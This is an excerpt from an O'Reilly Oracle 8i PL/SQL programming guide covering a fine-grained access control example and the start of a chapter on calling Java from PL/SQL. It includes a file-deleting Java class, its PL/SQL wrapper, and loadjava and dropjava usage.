   DBMS_RLS.ADD_POLICY (
      'SCOTT',
      'patient',
      'patient_privacy',
      'SCOTT',
      'nhc_pkg.person_predicate',
      'SELECT,UPDATE,DELETE');
END;
/

This program call specifies that whenever a SELECT, UPDATE, or DELETE on the SCOTT.patient table is executed, the SCOTT.nhc_pkg.person_predicate function is to be called to generate a predicate that will be added to the WHERE clause of the statement.

I could define a different security policy for the different SQL statements, but in this case, the same predicate would be applied to each.

8.5.5 Setting Up the LOGON Trigger

Now all the pieces are in place. To get things rolling, however, I need to create a trigger that will execute whenever anyone logs in to the database.

CONNECT sys/sys

/* Create a LOGON trigger that automatically sets
   the NHC privacy attributes. */
CREATE OR REPLACE TRIGGER set_id_on_logon
AFTER logon ON DATABASE
BEGIN
   nhc_pkg.set_context;
END;
/

With this trigger, I guarantee that no one can have unrestricted access to the patient data. Let's give it a try. I connect as Suni Maximo, a regulator:

CONNECT smaximo/smaximo

I'll show the context information before I try to get patient information:

SQL> exec nhc_pkg.show_context
Type: REGULATOR
  ID: 542
Predicate:
state IN
   (SELECT state FROM regulator
     WHERE regulator_id = SYS_CONTEXT (
        'patient_restriction', 'person_id'))

Let's confirm the state in which Suni Maximo is supposed to regulate health care activity:

SQL> SELECT last_name, state FROM regulator;
LAST_NAME            ST
-------------------- --
Halloway             IL
Maximo               NY

When I run a query against the patient table in this schema, we see that the predicate has been appended properly:

SQL> SELECT last_name, state FROM patient;
LAST_NAME            ST
-------------------- --
Walsh                NY
DeUrso               NY

8.5.6 Debugging FGAC Code

Getting this code to work can be tricky; there are lots of interdependencies and, of course, the very nature of the feature is that it automatically appends predicates to your SELECT statement. How do you watch that to see if it is working correctly?

Here are descriptions of some of the errors I encountered and what I did to fix the code:

  • I created a trigger on the LOGON system event to automatically set various context attributes. In the early stages of testing, my package was failing -- and as a result, I could not connect to any of my test schemas! I would simply get this error:

    SQL> CONNECT csilva/csilva
ERROR:
ORA-04098: trigger 'SET_ID_ON_LOGON' is invalid
           and failed re-validation

Warning: You are no longer connected to ORACLE.

    What's a fella to do? What I have to do is drop the trigger so that I can recreate the package and solve my problem. So I did it this way:

    CONNECT INTERNAL/oracle
DROP TRIGGER set_id_on_logon;

    and then I could get on with my test.

  • If there is any kind of error in your function, you will see this error when you try to execute a query that includes the predicate:

    SELECT * FROM patient
              *
ERROR at line 1:
ORA-28113: policy predicate has error

    This is, obviously, a very generic error message. How do you figure out what went wrong and then fix it? The best thing to do at this point is execute the function outside the query to verify its contents. You will also want to display the various system context values. I created the nhc_pkg.show_context procedure for just this purpose.

  • Your predicate function must take two string arguments for schema and object names, even if you do not use them. Otherwise, you get this error:

    ORA-28112: failed to execute policy function

Previous: 8.4 SYS_CONTEXT and LIST_CONTEXT: Obtaining Context Information | Oracle PL/SQL Programming Guide to Oracle 8i Features | Next: 9. Calling Java from PL/SQL
8.4 SYS_CONTEXT and LIST_CONTEXT: Obtaining Context Information | Book Index | 9. Calling Java from PL/SQL
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 9] Calling Java from PL/SQL

Oracle PL/SQL Programming Guide to Oracle 8i Features

Oracle PL/SQL Programming Guide to Oracle 8i FeaturesSearch this book
Previous: 8.5 A Complete FGAC Example Chapter 9 Next: 9.2 Getting Ready to Use Java in Oracle

9. Calling Java from PL/SQL

Contents:
Oracle8i and Java
Getting Ready to Use Java in Oracle
A Simple Demonstration
Using loadjava
Using dropjava
Managing Java in the Database
Using DBMS_JAVA and DBMS_JAVA_TEST
Publishing and Using Java in PL/SQL
Examples

In this chapter, I explore the exciting new feature of Oracle8i that allows a developer to call Java stored procedures (JSPs) from within PL/SQL. Java is a very powerful language, much more robust in many ways than PL/SQL. Java also offers hundreds of classes that provide clean, easy-to-use application programming interface (APIs) to a wide variety of functionality.

9.1 Oracle8i and Java

In Oracle8i, Oracle includes a new product called JServer, which consists of the following elements:

  • Oracle's Java Virtual Machine (JVM), called Aurora, the supporting runtime environment, and Java class libraries

  • Tight integration with PL/SQL and Oracle RDBMS functionality

  • An Object Request Broker (the Aurora/ORB) and Enterprise JavaBeans (EJB)

  • The JServer Accelerator (native compiler) (available in the 8.1.6 Enterprise Edition only)

The Aurora JVM executes Java methods (also known as Java stored procedures) and classes if they were stored in the database itself.

Java in the Oracle database is a big topic; Java programming all by itself is an even bigger topic. Complete treatment of either is outside the scope of this book. My objectives for this chapter are limited to the following:

  • Providing the information you need to load Java classes into the Oracle database, manage those new database objects, and publish them for use inside PL/SQL

  • Offering a basic tutorial in building Java classes that should give you enough guidance to let you construct simple classes to access underlying Java functionality

To access Java class methods from within Oracle, you must take the following steps:

  1. Create the Java code elements. You can do this in Oracle's JDeveloper, or in any other Java Integrated Development Environment. (notepad.exe will also, of course, do the trick in a pinch!)

  2. Load the Java class(es) into Oracle using the loadjava command-line utility or the CREATE JAVA statement.

  3. Publish the Java class methods inside PL/SQL by writing wrapper programs in PL/SQL around the Java code.

  4. Grant privileges as required on the PL/SQL wrapper programs and the Java class referenced by the PL/SQL wrapper.

  5. Call the PL/SQL programs from any one of a number of environments, as illustrated in Figure 9.1.

Oracle8i offers a variety of components and commands to work with Java. Table 9.1 summarizes these different elements.

Table 9.1: Oracle8i Components and Commands for Java
Component | Description
Aurora JVM | The Java Virtual Machine (JVM) that Oracle implemented in its database server
loadjava | An operating system command-line utility that loads your Java code elements (classes, .jar files, etc.) into the Oracle database
dropjava | An operating system command-line utility that drops your Java code elements (classes, .jar files, etc.) from the Oracle database
CREATE JAVA DROP JAVA ALTER JAVA | New DDL statements that perform some of the same tasks as loadjava and dropjava
DBMS_JAVA | A built-in package that offers a number of utilities to set options and other aspects of the JVM
DBMS_JAVA_TEST | A built-in package you can use to more easily test your JSPs
JPublisher | A utility used to build Java classes around object types and REFs defined in the Oracle database

Figure 9.1: Accessing JSPs from within the Oracle database

The remainder of this chapter explains the steps outlined earlier and the components in Table 9.1. For more thorough coverage of Java in the Oracle database, please consult the Oracle documentation.

Previous: 8.5 A Complete FGAC Example | Oracle PL/SQL Programming Guide to Oracle 8i Features | Next: 9.2 Getting Ready to Use Java in Oracle
8.5 A Complete FGAC Example | Book Index | 9.2 Getting Ready to Use Java in Oracle
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 9] 9.2 Getting Ready to Use Java in Oracle

Oracle PL/SQL Programming Guide to Oracle 8i Features

Oracle PL/SQL Programming Guide to Oracle 8i FeaturesSearch this book

9.2 Getting Ready to Use Java in Oracle

Before you can call Java methods from within your PL/SQL programs you will need to do the following:

  • Install a Java Development Kit ( JDK(TM)) 1.1.5 or above (check the Oracle documentation for the latest information about version support; some features of Java 1.2 are not, at the time of publication, supported inside Oracle).

  • Build your Java classes and code elements, and then compile them into .class and .jar files.

  • Set privileges on your Oracle schema.

9.2.1 Installing Java

You will need to install a Java Development Kit ( JDK) 1.1.5 or above. You can do this by downloading a JDK from the Javasoft web site; Oracle also provides a JDK with Oracle8i. Here is the Javasoft URL:

http://www.javasoft.com/products/index.html

You will need to make sure to set the CLASSPATH so that the Java compiler (javac) can locate any references to your classes -- and to the Oracle classes. Visit the following URL to get more information about CLASSPATH:

http://www.javasoft.com/products/jdk/1.2/docs/tooldocs/win32/classpath.html#env var

You can see an online version of the Java language specification at:

http://java.sun.com/docs/books/jls/html/index.html

9.2.2 Building and Compiling Your Java Code

Many PL/SQL developers (including the author) have never worked with an object-oriented language of any kind, so coming up to speed on Java can be a bit of a challenge. In the short time in which I have studied and used Java, I have come to these conclusions:

  • It doesn't take long to get a handle on the syntax needed to build simple classes in Java.

  • It's not very difficult at all to start leveraging Java inside PL/SQL.

  • Writing real object-oriented applications using Java requires significant rethinking for PL/SQL developers.

It would be impossible to offer a comprehensive primer on Java in this chapter. There are many (many, many, many) books available on various aspects of Java, and a number of them are excellent. I would recommend that you check out the following:

  • Exploring Java, by Patrick Niemeyer and Joshua Peck (O'Reilly & Associates). One of more than a dozen O'Reilly books on Java, this text is a nice introduction, from the standpoint of both syntax and concepts.

  • The Java Programming Language, Second Edition, by Ken Arnold and James Gosling (Addison Wesley). James Gosling is the creator of Java, so you'd expect the book to be helpful. It is. Written in clear, simple terms, it gives you a strong grounding in the language.

  • Thinking in Java, by Bruce Eckel (Prentice Hall). A very readable and creative approach to explaining object-oriented concepts. If you liked the feel of my Oracle PL/SQL Programming, you will definitely enjoy Thinking in Java.

In Section 9.9, "Examples, later in this chapter, as I demonstrate how to call Java methods from within PL/SQL, I will also take you step by step through the creation of relatively simple classes. You will find that, in many cases, this discussion will be all you need to get the job done.

9.2.3 Setting Oracle Privileges

Oracle8i has created two new roles to support Java security. For many Java-based operations within the database, you will not have to work with these roles. If, on the other hand, you want to interact with the operating system (to access or modify operating system files, for example), you need to be granted one of the following roles:

JAVASYSPRIV
JAVAUSERPRIV

You grant these roles as you would any other database role. For example, if I want to allow SCOTT to perform any kind of Java-related operation, I would issue this command from a SYSDBA account:

GRANT JAVASYSPRIV TO SCOTT;

If I want to place some restrictions on what the user can do with Java, I might execute this grant instead:

GRANT JAVAUSERPRIV TO SCOTT;

Here's one example of the difference between the two roles. To create a file through Java, I need the JAVASYSPRIV role; to read or write a file, I only need the JAVAUSERPRIV role. See the Oracle documentation for more details, including a table listing the different check methods of Java and which role is required to run those methods.

When the Aurora JVM is initialized, it installs an instance of java.lang.SecurityManager, the Java Security Manager. Each Oracle user has a dynamic ID, which will correspond to the session owner when you access the Java methods from within PL/SQL.

If a user lacking the sufficient privileges granted by one of these roles tries to execute an illegal operation, then the JVM will throw the java.lang.SecurityException. Here is what you would see in SQL*Plus:

ORA-29532: Java call terminated by uncaught Java exception:
           java.lang.SecurityException

When you run Java methods inside the database, different security issues can arise, particularly when interacting with the server-side filesystem or other operating system resources. Oracle follows one of the following two rules when checking I/O operations:

  • If the dynamic ID has been granted JAVASYSPRIV, then Security Manager allows the operation to proceed.

  • If the dynamic ID has been granted JAVAUSERPRIV, then Security Manager follows the same rules that apply to the PL/SQL UTL_FILE package to determine if the operation is valid. In other words, the file must be in a directory (or subdirectory) specified by the UTL_FILE_DIR parameter in the database initialization file.

Previous: 9.1 Oracle8i and Java | Oracle PL/SQL Programming Guide to Oracle 8i Features | Next: 9.3 A Simple Demonstration
9.1 Oracle8i and Java | Book Index | 9.3 A Simple Demonstration
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 9] 9.3 A Simple Demonstration

Oracle PL/SQL Programming Guide to Oracle 8i Features

Oracle PL/SQL Programming Guide to Oracle 8i FeaturesSearch this book

9.3 A Simple Demonstration

Before diving into the details, let's just walk through all the different steps needed to access Java from within PL/SQL. In the process, I'll introduce the various pieces of technology you need to get the job done.

So here is my challenge: I need to be able to delete a file from within PL/SQL. Prior to Oracle 8.1, I had the following options:

  • Even in Oracle 7.3, I could send a message to a database pipe, and then have a C listener program grab the message ("Delete file X") and do all the work.

  • In Oracle 8.0, I could set up a library that pointed to a C DLL or shared library, and then from within PL/SQL, call a program in that library to delete the file.

The pipe technique is handy, but it is a clumsy workaround. The external procedure implementation in Oracle 8.0 is a better solution, but it is far less than straightforward, especially if you don't know the C language.

Java, on the other hand, comes with prebuilt ( foundation) classes that offer clean, easy-to-use APIs to a wide array of functionality, including file I/O.

Here are the steps I will perform in this demonstration:

  1. Identify the Java functionality I need to access.

  2. Build a class of my own to make the underlying Java feature callable through PL/SQL.

  3. Compile the class and load it into the database.

  4. Build a PL/SQL program to call the class method I created.

  5. Delete files from within PL/SQL.

9.3.1 Finding the Java Functionality

My O'Reilly & Associates editor, Deborah Russell, was kind enough to send me a whole bunch of their Java books, so I grabbed the big, fat Java Fundamental Class Reference, by Mark Grand and Jonathan Knudsen, and looked up "File" in the index (sure, I could use HTML documentation, too, but I like books). The entry for "File class" caught my eye and I hurried to page 161.

There I found information about the class named java.io.File, namely, that it "provides a set of methods to obtain information about files and directories." Well, fortunately, it doesn't just let you obtain information. It also contains methods (procedures and functions) to delete and rename files, make directories, and so on. I had come to the right place!

Here is a portion of the API offered by the File class:

public class java.io.File {
   public boolean delete();
   public boolean mkdir ();
}

I will, in other words, call a Boolean function in Java to delete a file. It the file is deleted, the function returns TRUE; otherwise, it returns FALSE.

9.3.2 Building a Custom Java Class

Now, you might be asking yourself: why should Steven have to build his own Java class on top of the File class? Why can't I just call that function directly inside my PL/SQL wrapper? There are two reasons:

  • A Java class method is, in almost every case (except for static methods), executed for a specific object instantiated from the class. From within PL/SQL, I cannot instantiate a Java object and then call the method against that object.

  • Even though Java and PL/SQL both have Boolean datatypes ( Java even offers a Boolean primitive and a Boolean class), they do not map to each other. I cannot pass a Boolean from Java back directly to a PL/SQL Boolean.

As a direct consequence, I need to build my own class that will:

  • Instantiate an object from the File class

  • Execute the delete method against that object

  • Return a value that PL/SQL interprets properly

Here is the very simple class that I wrote to take advantage of the File.delete method:

/* Filename on companion disk: JDelete.java */
import java.io.File;

public class JDelete {

   public static int delete (String fileName) {
      File myFile = new File (fileName);
      boolean retval = myFile.delete();
      if (retval) return 1; else return 0;
      }
}

Figure 9.2 explains each of the steps in this code, but the main effect is clear: the JDelete.delete method simply instantiates a dummy File object for the specified filename, so that I can call the delete method for that file. By declaring my method to be static, I make that method available without the need to instantiate an object. Static methods are associated with the class and not with objects declared from that class.

This class highlights a number of differences between Java and PL/SQL you should keep in mind:

  • There are no BEGIN and END statements in Java for blocks, loops, or conditional statements. Instead, you use an open-brace ( { ) to start a block of related code, and a close-brace ( } ) to close the block.

  • Java is case sensitive; "if " is definitely not the same thing as "IF".

  • The assignment operator is a plain equals sign (=) rather than the complex symbol used in PL/SQL (:=).

  • When you call a method that does not have any arguments (such as delete), you still must provide open and close parentheses. Otherwise, the Java compiler will try to interpret the method as a class member or data structure.

Figure 9.2: A simple Java class used to delete a file

Hey, that was easy! Of course, you didn't watch me fumble around with Java for a day, getting over the nuisance of minor syntax errors, the agony of a case-sensitive language (I have a hard time with operating systems and programming languages that are case sensitive), and confusion concerning setting the CLASSPATH. I'll leave all that to the imagination of my readers -- and your own day of fumbling!

9.3.3 Compiling and Loading into Oracle

Now that my class is written, I need to compile. To do this I open an MS-DOS session in Windows NT, change to the d:\Java directory, and compile the class:

D:\Java> javac JDelete.java

Now that it's compiled, I realize that it would make an awful lot of sense to test the function before I stick it inside Oracle and try it from PL/SQL. You are always better off building and testing incrementally. Java gives us an easy way to do this: the main method. If you provide a void method (procedure) called main in your class -- and give it the right parameter list -- you can then call the class, and this code will execute.

TIP: The main method is one example of how Java treats certain elements in a special way if they have the right signature. Another example is the toString method. If you add a method with this name to your class, then whenever you reference an object of that class where a string is needed, it will automatically call the toString method to display your custom description of the object.

So let's add a simple main method to JDelete (shown in bold in the following code):

public class JDelete {
   public static int delete ...

   public static void main (String args[]) {
      System.out.println (
         delete (args[0])
         );
   }
}

In other words: call delete for the first value passed to the class and then display the value being returned. Now I will recompile the class and then run it, as shown (this example is taken from a DOS Window):

D:\Java>javac JDelete.java

D:\Java>java JDelete c:\temp\te_employee.pks
1

D:\Java>java JDelete c:\temp\te_employee.pks
0

Notice that the first time I run the main method it displays 1 (TRUE), indicating that the file was deleted. So it will come as no surprise that when I run the same command, main displays 0. It couldn't delete a file that had already been deleted.

That didn't take too much work or know-how, did it?

TIP: In another demonstration of the superiority of Java over PL/SQL, please note that whereas you have to type 20 characters in PL/SQL to display output (DBMS_OUTPUT.PUT_LINE), you needn't type any more than 18 characters in Java (System.out.println). Give us a break, you language designers!

Now that my class compiles and I have verified that the delete method works, I will load it into the SCOTT schema of the Oracle database using the loadjava command:

D:\Java>loadjava -user scott/tiger -oci8 -resolve JDelete.class

I can even verify that the class is loaded by querying the contents of the USER_OBJECTS data dictionary via a utility I'll introduce later in this chapter:

SQL> exec myjava.showobjects
Object Name  Object Type   Status  Timestamp
---------------------------------------------------
Hello        JAVA CLASS    VALID   1999-05-19:16:42
JDelete      JAVA CLASS    VALID   1999-06-07:13:20
JFile2       JAVA CLASS    VALID   1999-05-26:17:07
JFile3       JAVA CLASS    VALID   1999-05-27:12:53

That takes care of all the Java-specific steps, which means that it's time to return to the cozy world of PL/SQL.

9.3.4 Building a PL/SQL Wrapper

I will now make it easy for anyone connecting to my instance to delete files from within PL/SQL. To accomplish this goal, I will create a PL/SQL wrapper that looks like a PL/SQL function on the outside, but is really nothing more than a pass-through to the underlying Java code.

/* Filename on companion disk: fdelete.sf */
CREATE OR REPLACE FUNCTION fDelete (
   file IN VARCHAR2)
   RETURN NUMBER
AS LANGUAGE JAVA
   NAME 'JDelete.delete (
            java.lang.String)
            return int';
/

The implementation of the fdelete function consists of a string describing the Java method invocation. The parameter list must reflect the parameters of the method, but in place of each parameter I specify the fully qualified datatype name. In this case, that means that I cannot simply say "String", but instead must add the full name of the package containing the String class. The RETURN clause simply lists int for integer. The int is a primitive datatype and not a class, so that is the complete specification.

9.3.5 Deleting Files from PL/SQL

So I compile the function and then perform my magical, previously difficult if not impossible feat:

SQL> @fdelete.sf

Function created.

Input truncated to 12 characters
SQL> exec DBMS_OUTPUT.PUT_LINE (
       fdelete('c:\temp\te_employee.pkb'))
1

SQL> exec DBMS_OUTPUT.PUT_LINE (
       fdelete('c:\temp\te_employee.pkb'))
0

I can also build utilities on top of this function. How about a procedure that deletes all of the files found in the rows of a nested table? Even better, a procedure that accepts a directory name and filter ("all files like *.tmp", for example) and deletes all files found in that directory that pass the filter.

In reality, of course, what I should do is build a package and then put all this great new stuff in there. And that is just what I will do in Section 9.9. Before we do that, however, let's take a closer look at each of the steps I just performed.

Previous: 9.2 Getting Ready to Use Java in Oracle | Oracle PL/SQL Programming Guide to Oracle 8i Features | Next: 9.4 Using loadjava
9.2 Getting Ready to Use Java in Oracle | Book Index | 9.4 Using loadjava
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 9] 9.4 Using loadjava

Oracle PL/SQL Programming Guide to Oracle 8i Features

Oracle PL/SQL Programming Guide to Oracle 8i FeaturesSearch this book

9.4 Using loadjava

The loadjava utility is an operating system command-line utility that uploads Java files into the database. The first time you run loadjava in a schema, it creates a number of elements for its own use:

CREATE$JAVA$LOB$TABLE

A table created in each schema, containing Java code elements

JAVA$CLASS$MD5$TABLE

A hash table, also referred to as the digest table, used to track the loading of Java elements into a given schema

LOADLOBS

A package that is installed in each schema, used to load Java code elements as large objects (LOBs) into the database

Using LOADLOBS, loadjava moves Java files into a BLOB column in the database table CREATE$JAVA$LOB$TABLE. It also checks the JAVA$CLASS$MD5$TABLE.MD5 hash value to see if the loaded classes have been loaded previously and whether they have been changed (thereby minimizing the need to reload).[1] This is done to avoid unnecessary invalidation of dependent classes. It then calls the new DDL command CREATE JAVA to load the Java classes from the BLOB column of CREATE$JAVA$LOB$TABLE into the RDBMS as schema objects. This loading occurs only if:

[1] MD5 is RSA Data Security's MD5 Message-Digest Algorithm; more information can be found on http://www.columbia.edu/~ariel/ssleay/rfc1321.html.

  • The class is being loaded for the first time

  • The class has been changed

  • The -force option is supplied

Figure 9.3 illustrates the loading of Java objects into the Oracle database.

Figure 9.3: Loading Java elements into Oracle

Here is the syntax:

loadjava {-user | -u} username/password[@database]
  [-option_name [-option_name] ...] filename [filename ]...

where option_name stands for the following syntax:

{  {andresolve | a}
 | debug
 | {definer | d}
 | {encoding | e} encoding_scheme_name
 | {force | f}
 | {grant | g} {username | role_name}[,{username | role_name}]...
 | {oci8 | o}
 | oracleresolver
 | {resolve | r}
 | {resolver | R} "resolver_spec"
 | {schema | S} schema_name
 | {synonym | s}
 | {thin | t}
 | {verbose | v} }

On the command line, you can enter the names of Java source, class, and resource files, SQLJ input files (.sqlj files), and uncompressed .jar files and .zip archives, in any order.

The following command, for example, loads the JFile class into the SCOTT schema:

loadjava -user scott/tiger -oci8 -resolve JFile.class

You can run this command from within a DOS window on Windows NT or from the command line in a Unix session. You can also execute it from within SQL*Plus as shown:

host loadjava -user scott/tiger -oci8 -resolve JFile.class

To make it easier for me to load classes into Oracle, I created a file named lj.bat for Windows NT as follows:

javac %1.java
loadjava -user %1 -oci8 -resolve %2.class

Now I can compile and load a Java class in one step:

D:\Java> lj scott/tiger JFile

Here are some things to keep in mind about loadjava. To display a help screen, use this syntax:

loadjava {-help | -h}

In a list of options or files, names must be separated only by spaces:

-force, -resolve, -thin  // No
-force -resolve -thin    // Yes

In a list of users or roles, however, names must be separated only by commas:

SCOTT, PAYROLL, BLAKE  // No
SCOTT,PAYROLL,BLAKE    // Yes

Table 9.2 describes the loadjava command-line options.

As you can probably imagine, there are a number of nuances to using loadjava, such as whether to load individual classes or compressed groups of elements in a .zip or .jar file. See the Oracle documentation for more information about the loadjava command.

Table 9.2: loadjava Options

Option

Description

-andresolve

Compiles source files and resolves each class file as it is loaded. This option and -resolve are mutually exclusive. If neither is specified, files are loaded but not compiled or resolved. In general, this mode is not recommended because it can leave classes that have unresolved references marked valid, causing an error at runtime.

-debug

Generates debug information. This option is equivalent to javac -g.

-definer

Specifies that the methods of uploaded classes will execute with the privileges of their definer, not their invoker. (By default, methods execute with the privileges of their invoker.) Different definers can have different privileges, and an application can have many classes, so make sure the methods of a given class execute only with the privileges they need.

Note that Oracle8i Release 8.1.5 does not seem to conform to the Oracle documentation; the default seems to be to run with definer rights.

-encoding

Sets (or resets) the -encoding option in the database table JAVA$OPTIONS to the specified value, which must be the name of a standard JDK encoding scheme (the default is "latin1"). The compiler uses this value, so the encoding of uploaded source files must match the specified encoding.

-force

Forces the loading of Java class files, whether or not they have been loaded before. By default, previously loaded class files are rejected. You cannot force the loading of a class file if you previously loaded the source file. You must drop the source schema object first.

-grant

Grants the EXECUTE privilege on uploaded classes to the listed users or roles. (To call the methods of a class directly, users must have the EXECUTE privilege.)

This option is cumulative. Users and roles are added to the list of those having the EXECUTE privilege.

To revoke the privilege, either drop and reload the schema object without specifying -grant, or use the SQL REVOKE statement. To grant the privilege on an object in another user's schema, you must have the CREATE PROCEDURE WITH GRANT privilege.

-oci8

Directs loadjava to communicate with the database using the OCI JDBC driver. This option (the default) and -thin are mutually exclusive.

-oracleresolver

Binds newly created class schema objects to the following predefined resolver spec:

"((* definer's_schema) (* public))"

-resolver are mutually exclusive.

-resolve

After all class files on the command line are loaded and compiled (if necessary), resolves all external references in those classes. If this option is not specified, files are loaded but not compiled or resolved until runtime.

Specify this option to compile (if necessary) and resolve a class that was loaded previously. You need not specify the -force option because resolution is done independently, after loading.

-resolver

Binds newly created class schema objects to a user-defined resolver spec. Because it contains spaces, the resolver spec must be enclosed by double quotes. This option and -oracleresolver (the default) are mutually exclusive.

-schema

Assigns newly created Java schema objects to the specified schema. If this option is not specified, then the logon schema is used. You must have the CREATE ANY PROCEDURE privilege to load into another user's schema.

-synonym

Creates a public synonym for uploaded classes, making them accessible outside the schema into which they are loaded. To specify this option, you must have the CREATE PUBLIC SYNONYM privilege.

If you specify this option for source files, it also applies to classes compiled from those source files.

-thin

Directs loadjava to communicate with the database using the thin JDBC driver. This option and -oci8 (the default) are mutually exclusive.

-verbose

Enables the verbose mode, in which progress messages are displayed.

Previous: 9.3 A Simple Demonstration | Oracle PL/SQL Programming Guide to Oracle 8i Features | Next: 9.5 Using dropjava
9.3 A Simple Demonstration | Book Index | 9.5 Using dropjava
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 9] 9.5 Using dropjava

Oracle PL/SQL Programming Guide to Oracle 8i Features

Oracle PL/SQL Programming Guide to Oracle 8i FeaturesSearch this book

9.5 Using dropjava

The dropjava utility reverses the action of loadjava. It converts filenames into the names of schema objects, drops the schema objects, and finally deletes their digest table rows. Dropping a class invalidates classes that depend on it directly or indirectly. Dropping a source also drops classes derived from it.

Here is the syntax:

dropjava {-user | -u} username/password[@database]
  [-option_name [-option_name] ...] filename [filename] ...

where option_name stands for the following syntax:

{  {oci8 | o}
 | {schema | s} schema_name
 | {thin | t}
 | {verbose | v} }

On the command line, you can enter the names of Java source, class, and resource files, SQLJ input files, and uncompressed .jar files and .zip archives, in any order.

Table 9.3 describes the dropjava command-line options.

Table 9.3: dropjava Options
Option | Description
-oci8 | Directs dropjava to communicate with the database using the OCI JDBC driver. This option (the default) and -thin are mutually exclusive.
-schema | Drops Java schema objects from the specified schema. If this option is not specified, then the logon schema is used. You must have the DROP ANY PROCEDURE privilege to drop objects from another user's schema.
-thin | Directs dropjava to communicate with the database using the thin JDBC driver. This option and -oci8 (the default) are mutually exclusive.
-verbose | Enables the verbose mode, in which progress messages are displayed.

Previous: 9.4 Using loadjava | Oracle PL/SQL Programming Guide to Oracle 8i Features | Next: 9.6 Managing Java in the Database
9.4 Using loadjava | Book Index | 9.6 Managing Java in the Database
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 9] 9.6 Managing Java in the Database

Oracle PL/SQL Programming Guide to Oracle 8i Features

Oracle PL/SQL Programming Guide to Oracle 8i FeaturesSearch this book

9.6 Managing Java in the Database

This section explores in more detail issues related to the way Java elements are stored in the database, and how you can manage those elements.

9.6.1 The Java Namespace in Oracle

Oracle stores each Java class in the database as a schema object. The name of that object is derived from (but is not the same as) the fully qualified name of the class; this name includes the names of any containing packages. The full name of the class OracleSimpleChecker, for example, is as follows:

oracle.sqlj.checker.OracleSimpleChecker

In the database, however, the full name of the Java schema object would be:

oracle/sqlj/checker/OracleSimpleChecker

Once stored in the Oracle RDBMS, in other words, slashes replace dots.

An object name in Oracle, whether it is the name of a database table or a Java class, cannot be longer than 30 characters. Java does not have the same restriction; you can have much longer names. Oracle will allow you to load a Java class into Oracle with a name of up to 4000 characters. If the Java element name has more than 30 characters, Oracle will automatically generate a valid (less than 31 characters) alias for that element.

But don't worry! You never have to reference that alias. You can, instead, continue to use the real name for your Java element in your code. Oracle will map that long name automatically to its alias (the schema name) when necessary.

9.6.2 Examining Loaded Java Elements

Once you have loaded Java source, class, and resource elements into the database, information about those elements is available in several different data dictionary views, as shown in Table 9.4.

Table 9.4: Class Information in Data Dictionary Views
View | Description
USER_OBJECTS ALL_OBJECTS DBA_OBJECTS | Contains header information about your objects of JAVA SOURCE, JAVA CLASS, and JAVA RESOURCE types
USER_ERRORS ALL_ERRORS DBA_ERRORS | Contains any compilation errors encountered for your objects
USER_SOURCE | Contains the source code for your Java source if and only if you used the CREATE JAVA SOURCE command to create the Java schema object

You can write queries against these views or you can build programs to access the information in a variety of useful ways. For example, here is a query that shows me all of the Java-related objects in my schema:

/ *Filename on companion disk: myjava.pkg */
COLUMN object_name FORMAT A30
SELECT object_name, object_type, status, timestamp
  FROM user_objects
 WHERE (object_name NOT LIKE 'SYS_%'
         AND object_name NOT LIKE 'CREATE$%'
         AND object_name NOT LIKE 'JAVA$%'
         AND object_name NOT LIKE 'LOADLOB%')
   AND object_type LIKE 'JAVA %'
 ORDER BY object_type, object_name;

The WHERE clause filters out those objects created by Oracle for managing Java objects. Here is some sample output:

SQL> @showjava
OBJECT_NAME             OBJECT_TYPE  STATUS  TIMESTAMP
---------------------   ------------ ------- -------------------
Hello                   JAVA CLASS   VALID   1999-05-19:16:42:27
JFile2                  JAVA CLASS   VALID   1999-05-26:17:07:11
JFile3                  JAVA CLASS   VALID   1999-05-27:12:53:46
plsolutions/java/putLn  JAVA SOURCE  VALID   1999-05-19:16:30:29

The myjava.pkg file on the companion disk contains a packaged version of this query, allowing you to view your Java objects with this procedure call:

SQL> exec myjava.showobjects

The following lets you see a list of all the Java elements whose names start with OE:

SQL> exec myjava.showobjects ('OE%')

The USER_OBJECTS view's object_name column contains the full names of Java schema objects, unless the name is longer than 30 characters or contains an untranslatable character from the Unicode character set. In this case, the short name is displayed in the object_name column. To convert short names to full names, you can use the LONGNAME function in the utility package DBMS_JAVA, which is explored in the next section.

Here are some things to keep in mind about Java schema elements stored in the database:

  • When you use the loadjava command to load your Java element into the database, the source of your Java element is not transferred to Oracle. Only the .class, .jar, .zip, .java, etc., files are moved into the database.

